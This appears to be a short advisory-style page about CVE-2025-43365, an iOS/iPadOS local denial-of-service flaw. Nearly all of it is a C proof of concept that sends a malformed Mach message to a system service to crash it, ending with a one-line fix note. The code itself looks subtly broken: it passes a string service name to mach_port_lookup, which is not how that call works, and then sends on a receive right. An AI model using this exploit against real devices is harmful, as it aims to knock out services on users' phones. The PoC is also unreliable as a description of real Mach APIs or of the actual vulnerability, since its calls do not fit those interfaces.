CVE-2025-43365 Apple iOS/iPadOS 本地权限提升拒绝服务漏洞

// CVE-2025-43365 PoC - Local DoS via Process Termination // Note: This PoC is for educational purposes only // Requires: Local access, user interaction #include <mach/mach.h> #include <mach/task.h> #include <mach/message.h> #include <stdio.h> #include <unistd.h> // Attempt to send malformed message to system service void exploit_vulnerability() { mach_port_t target_port; mach_msg_header_t msg; // Lookup system service port (requires specific conditions) kern_return_t kr = mach_port_lookup( mach_task_self(), "com.apple.systemservice", MACH_PORT_RIGHT_RECEIVE, &target_port ); if (kr != KERN_SUCCESS) { printf("Port lookup failed\n"); return; } // Prepare malformed message msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); msg.msgh_size = sizeof(mach_msg_header_t); msg.msgh_remote_port = target_port; msg.msgh_local_port = MACH_PORT_NULL; msg.msgh_id = 0x1000; // Abnormal message ID // Send malformed message to trigger vulnerability kr = mach_msg( &msg, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL ); if (kr == KERN_SUCCESS) { printf("Malformed message sent - service may crash\n"); } } int main() { printf("CVE-2025-43365 PoC\n"); exploit_vulnerability(); return 0; } // Mitigation: Update to iOS 18.7.2/iPadOS 18.7.2 or later versions